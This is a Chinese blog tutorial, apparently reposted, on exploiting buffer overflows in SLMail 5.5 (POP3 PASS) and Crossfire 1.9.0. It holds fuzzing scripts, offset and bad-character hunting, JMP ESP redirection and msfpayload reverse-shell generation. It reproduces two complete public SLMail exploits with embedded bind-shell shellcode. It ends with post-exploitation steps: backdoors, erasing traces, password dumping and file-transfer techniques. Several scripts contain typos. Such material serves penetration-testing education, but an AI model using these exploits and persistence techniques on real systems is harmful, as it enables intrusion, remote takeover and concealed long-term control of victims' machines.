Kali Linux 从入门到精通(十)-漏洞挖掘之缓冲区溢出

Kali Linux 从入门到精通(十)-漏洞挖掘之缓冲区溢出

程序漏洞从哪里来?

  • 罪恶的根源:变量
  • 数据与代码边界不清(注入攻击)
  • 最简漏洞原理-shell 脚本漏洞(本质:输入数据本身,程序本身没做检查导致)

缓冲区溢出

  • 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被"称暴",从而覆盖了相邻内存区域的数据
  • 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务控制权等后果’

如何发现漏洞?

  • 源码审计
  • 逆向工程
  • 模糊测试
    • 向程序堆栈半随机的数据,根据内存变化判断溢出
    • 数据生成器,生成随机,半随机数据
    • 测试工具,识别溢出漏洞(动态调试工具:IDA,OD)

Windows系统缓冲区溢出

  • FUZZING(模糊测试)
    • 准备环境
      • SLMail 5.5.0 Mail Server
      • immunityDebugger_1_85_setup.exe
      • mona.py
    • POP3 PASS 命令存在缓冲区溢出漏洞
    • 无需身份验证实现远程代码执行
    • windows防护机制
      • DEP:阻止代码从数据页被执行(软硬件实现)
      • ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
  • POP3
    • NC 110 端口
    • 了解未知协议
      • Wireshark
      • RFC

#!/bin/python import socket s=socket(socket.AF_INET,socket.SOCK_STREM) try: print "\nSending evil buffer..." s.connect(('1.1.1.1',110)) data=s.recv(1024) print data s.send('USER xxx'+'\r\n') data=s.recv(1024) print data s.send('PASS test\r\n') data=s.recv(1024) print data s.close() print "\nDone!" except: print "Could not connext to POP3!"

  • FUZZING(way 1)
    • 测试PASS 命令收到大量数据时是否发生溢出
    • EIP寄存器存放下一条指令的地址
    • 02.py

#!/usr/bin/python import socket buffer=["A"] counter=100 while len(buffer)<=50: buffer.append("A"*counter) counter=counter+200 for string in buffer: print "Fuzzing PASS with %s bytes" % len(string) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('1.1.1.1.1',110)) s.recv(1024) s.send('USER test'+'\r\n') s.recv(1024) s.send('PASS'+string+'\r\n') s.send('QUIT\r\n') s.close()

  • FUZZING(way 2)
    • 2700个字符实现EIP溢出
    • 03.py

import socket s=soket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer='A'*2600(不断改变数字) try: print "\nSending evil buffer..." s.connect(('1.1.1.1',110)) data=s.recv(1024) s.send('PASS'+buffer+'\r\n') print '\nDone!' except: print "Could not connect to POP3!"

    • 找到精确溢出的4个字节
      • 二分法(2700->2600->2650)
      • 唯一字串法
        • kali生成唯一字符串:/sur/share/metasploit/tools/pattern_ create.rb 2700
    • 思路: 将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,并跳转到shellcode代码段执行
    • 寻找可存放的内存地址空间
    • 06.py

#!/usr/bin/python import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) buffer="A"*2606+"B"*4+C*(3500-2606-4) # 假设EXP寄存器最大可存放3500个字符 try: print "\nSending ing evil buffer..." s.connect(('1.1.1.1',110)) date=s.recv(1024) s.send("USER TEST"+'\r\n') date=s.recv(1024) s.send('PASS'+buffer+'\r\n') print "\nDone!" except: print "Could not connect to POP3!"

  • FUZZING:
    • 不同类型的程序.协议,漏洞,会将某些字符认为是坏字符,这些字符有固定用途
    • 返回地址,shellcode,buffer中都不能出现坏字符
    • null (0x00) 空字符,用于终止字符串的拷贝操作
    • return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
    • 思路:

- 发送0x00-0xff 256个字符,查找所有坏字符

      • 坏字符:0x0A,0x00,0x0D

#!/usr/bin/python import socket s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) badchars=从0x00-0xff buffer="A"*2606+"B"*4+badchars try: print "\nSending ing evil buffer..." s.connect(('1.1.1.1',110)) date=s.recv(1024) s.send("USER TEST"+'\r\n') date=s.recv(1024) s.send('PASS'+buffer+'\r\n') print "\nDone!" except: print "Could not connect to POP3!"

  • FUZZING:
    • 重定向数据流
      • 用ESP的地址替换EIP的值
      • 但是ESP地址变化,硬编码不可行
      • SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
    • 变通思路:
      • 在内存中寻找地址固定的系统模块
      • 在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode
      • mona.py脚本识别内存模块,搜索"return address"是JMP ESP指令的模块
      • 寻找无EDP,ASLR保护的内存地址
      • 内存地址不包含坏字符

mona find -s “二进制地址(可使用16进制转换工具)” -m xxx.dll

      • 生成shellcode
      • Scratch
      • ./msfpayload -l
      • ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 -C
      • ./msfpayload win32_reverse LHOST=10.0.2.15 444 R | ./msfencode -b “\x00\x0a\x0d”
      • nc -vlp 443
      • 09.py
        • \x90:nop指令
        • 防止shellcode被清除前几个字节
        • 提权侵入,拿shell
  • shellcode执行结束后以exit方式退出整个结束,将导致邮件服务崩溃
  • Smail是一个基于线程的应用,使用ExitThread方式可避免整个服务崩溃,可实现重复溢出

FUZZING:远程桌面操控受控机

  • windows:配置信息在注册表
  • RegSnap 工具
  • 提权后远程操控指令:

Linux缓冲区溢出 - - 穿越火线缓冲区溢出

  • 1.环境搭建:
    • Crossfire(穿越火线)
      • 多人在线RPG游戏
      • 1.9.0版本接受入站 scoket连接时存在缓冲区溢出漏洞
    • 调试工具
      • edb
    • 运行平台
      • Kali i486 虚拟机
  • 2.Fuzzing
    • 新版本Linux内核会支持内存保护机制
      • DEP
      • ASLR
      • 堆栈 cookies
      • 堆栈粉碎
    • 本机调试
      • ipatbles -A INPUT -p tcp --destination-port 4444 ! -d 127.0.0.1 -j DROP
      • ipatbles -A INPUT -p tcp --destination-port 13327 ! -d 127.0.0.1 -j DROP

#!/usr/bin/python import socket host="127.0.0.1" #\x41 代表A 精确溢出 crash="\x41"*4379 # \x11 设备操作指令 \x90 NOP指令 buffer="\x11(setup sound "+ crash +"\x90\x00#" # 建立连接 s=scoket.socket(socket_AF_INET,socket.SOCK_STREAM) print "[*] Sending evil buffer..." s.connect((host,13327)) data=s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"

    • 2.唯一字符串识别EIP精确位置

#!/usr/bin/python import socket host="127.0.0.1" #\x41 代表A 精确溢出 crash='A'*4368+'B'*4+'C'*7 # \x11 设备操作指令 \x90 NOP指令 buffer="\x11(setup sound "+ crash +"\x90\x00#" # 建立连接 s=scoket.socket(socket_AF_INET,socket.SOCK_STREAM) print "[*] Sending evil buffer..." s.connect((host,13327)) data=s.recv(1024) print data s.send(buffer) s.close() print "[*]Payload Sent!"

    • 3.思路:shellcode代码置入
      • 第一阶段shellcode
        • ESP 跳转到 EAX
        • 偏移12个字节
      • setup sound shellcode2
      • nasm
        • add eax,12
        • jmp eax
      1. 查找坏字符
      • \x00\x0a\0x0d\x20
    • 5.shellcode
      • ESP跳转地址
      • 跳转该过程: EIP->jmp esp->add eax 12->jmp eax
      • 使用msfpayload 生成shellcode

选择和修改EXP

  • 网上公开的EXP代码
    • 选择可信赖的EXP源(虚拟环境中验证)
    • Exploit-db
    • SecurityFocus(安全焦点)
    • Searchsploit
  • 有能力修改EXP(Python,Perl,Ruby,C,C++…)
  • 选择和修改EXP
    • 646.C
      • 类unix环境下编译
      • 返回地址与本机环境不符
      • 反弹shell硬编码回连IP地址
      • 缓冲区偏移量与环境不符
      • 目标IP硬编码

//646.c SLMAIL REMOTE PASSWD BO 代码 // 需使用gcc进行编译 #include <string.h> #include <stdio.h> #include <winsock2.h> #include <windows.h>

// [*] bind 4444 unsigned char shellcode[] = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0" "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff" "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53" "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff" "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64" "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab" "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51" "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53" "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6" "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0";

void exploit(int sock) { FILE *test; int *ptr; char userbuf[] = "USER madivan\r\n"; char evil[3001]; char buf[3012]; char receive[1024]; char nopsled[] = "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90"; memset(buf, 0x00, 3012); memset(evil, 0x00, 3001); memset(evil, 0x43, 3000); ptr = &evil; ptr = ptr + 652; // 2608 memcpy(ptr, &nopsled, 16); ptr = ptr + 4; memcpy(ptr, &shellcode, 317); *(long*)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP // banner recv(sock, receive, 200, 0); printf("[+] %s", receive); // user printf("[+] Sending Username...\n"); send(sock, userbuf, strlen(userbuf), 0); recv(sock, receive, 200, 0); printf("[+] %s", receive); // passwd printf("[+] Sending Evil buffer...\n"); sprintf(buf, "PASS %s\r\n", evil); //test = fopen("test.txt", "w"); //fprintf(test, "%s", buf); //fclose(test); send(sock, buf, strlen(buf), 0); printf("[*] Done! Connect to the host on port 4444...\n\n"); }

int connect_target(char *host, u_short port) { int sock = 0; struct hostent *hp; WSADATA wsa; struct sockaddr_in sa; WSAStartup(MAKEWORD(2,0), &wsa); memset(&sa, 0, sizeof(sa)); hp = gethostbyname(host); if (hp == NULL) { printf("gethostbyname() error!\n"); exit(0); } printf("[+] Connecting to %s\n", host); sa.sin_family = AF_INET; sa.sin_port = htons(port); sa.sin_addr = **((struct in_addr **) hp->h_addr_list); sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { printf("[-] socket blah?\n"); exit(0); } if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0) {printf("[-] connect() blah!\n"); exit(0); } printf("[+] Connected to %s\n", host); return sock; }

int main(int argc, char **argv) { int sock = 0; int data, port; printf("\n[$] SLMail Server POP3 PASSWD Buffer Overflow exploit\n"); printf("[$] by Mad Ivan [ void31337 team ] - http://exploit.void31337.ru\n\n"); if ( argc < 2 ) { printf("usage: slmail-ex.exe <host> \n\n"); exit(0); } port = 110; sock = connect_target(argv[1], port); exploit(sock); closesocket(sock); return 0; }

# 638.py POP3 PASS 缓冲区溢出代码 import struct import socket print "\n\n###############################################" print "\nSLmail 5.5 POP3 PASS Buffer Overflow" print "\nFound & coded by muts [at] offsec.com" print "\nFor Educational Purposes Only!" print "\n\n###############################################" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66" sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6" sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa" sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f" sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb" sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba" sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb" sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc" sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61" sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70" sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44" sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7" sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69" sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9" sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0" sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3" sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7" sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0" sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67" sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1" sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0" sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88" sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d" sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95" sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2" #Tested on Win2k SP4 Unpatched # Change ret address if needed buffer = '\x41' * 4654 + struct.pack('<L', 0x783d6ddf) + '\x90'*32 + sc try: print "\nSending evil buffer..." s.connect(('192.168.1.167',110)) data = s.recv(1024) s.send('USER username' +'\r\n') data = s.recv(1024) s.send('PASS ' + buffer + '\r\n') data = s.recv(1024) s.close() print "\nDone! Try connecting to port 4444 on victim machine." except: print "Could not connect to POP3!"

避免有害的EXP

  • 不同的EXP
    • 不同的系统补丁
    • 软件版本
    • 不同的offset,shellcode
  • 扫描探测目标系统版本,搭建适当的测试环境
    • 避免一锤子测试
  • 修改公开的EXP满足不同的环境需要
    • 了解漏洞原理,修改溢出代码

后漏洞利用阶段(POST EXPLOITATION)

  • 1.漏洞利用后阶段
    • 上传工具
    • 提取
    • 擦除攻击痕迹
    • 安装后门(木马程序)
      • 长期控制
      • Dump密码
      • 内网渗透(拿到更多服务器)
    • 后漏洞利用阶段
      • 最大的挑战-防病毒软件
      • 使用合法的远程控制软件(nc)
    • 2.上传工具之上传文件
      • 持久控制
        • 扩大对目标系统的控制能力
        • Linux系统
          • netcat
          • curl
          • wget
        • windos系统
          • 缺少预装的下载工具
          • 一些问题解决方案:
            • a.非交互式模式shell(具有局限性,需上传木马拿到交互式shell)
              • 类nc 远程控制shell
              • ftp 192.168.1.1
        • 上传文件的方法
          • 使用TFTP传输文件
            • xp,2003默认安装
            • win7,2008需要单独添加
            • 经常被边界防火墙过滤
          • 使用FTP传输文件
            • apt-get install pure-ftpd
            • ftp.sh
          • 使用 VBSCRIPT 传输文件
          • 使用POWERSHELL 传输文件
            • Wget.ps1
          • 使用DEBUG 传输文件
            • Debug
              • 汇编,反汇编
              • 16进制dump工具
              • 64k字节
            • upx压缩文件
            • wine exe2bat.exe nc.exe nx.hex
            • debug<nc.hex
            • copy 1.dll nc.exe

猜你喜欢

转载自blog.csdn.net/jayjaydream/article/details/89027597
今日推荐